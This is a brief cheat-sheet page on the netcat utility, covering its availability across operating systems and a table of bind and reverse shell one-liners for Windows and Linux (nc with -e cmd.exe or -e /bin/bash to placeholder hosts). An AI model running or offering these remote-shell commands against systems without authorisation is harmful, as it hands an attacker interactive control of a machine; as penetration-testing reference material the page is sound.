date: “2017-01-17”
draft: false
title: “netcat”
tag: [“cli”, “commands”]
category: “unix”
Summary - netcat
| OS |
Default Available |
Online Man |
| Linux |
Y (no -e) |
|
| Solaris |
Y/N |
|
| BSD |
Y/N |
|
| MacOS |
Y/N |
|
| Basics |
Command |
| Usage info |
nc -h |
| Man |
man netcat or man nc |
Usage - netcat
Neworking swiss army knife
Examples
Remote shells
| Description |
WinHost |
NixHost |
| Bind to windows shell |
nc -nlvp 4445 -e cmd.exe |
nc <WinHostIP> 4445 |
| Bind to linux shell |
nc -nv <NixHostIP> 4445 |
nc -lvn -p 4445 -e /bin/bash |
| Reverse windows shell |
nc -nv <NixHostIP> 4445 -e cmd.exe |
nc -lvn -p 4445 |
| Reverse linux shell |
nc -nlvp 4445 |
nc -nv <WinHostIP> 4445 -e /bin/bash |
Reference Materials - netcat
See Also
- [netcat](({{< relref “windows/commands/netcat.md” >}}) - windows version of netcat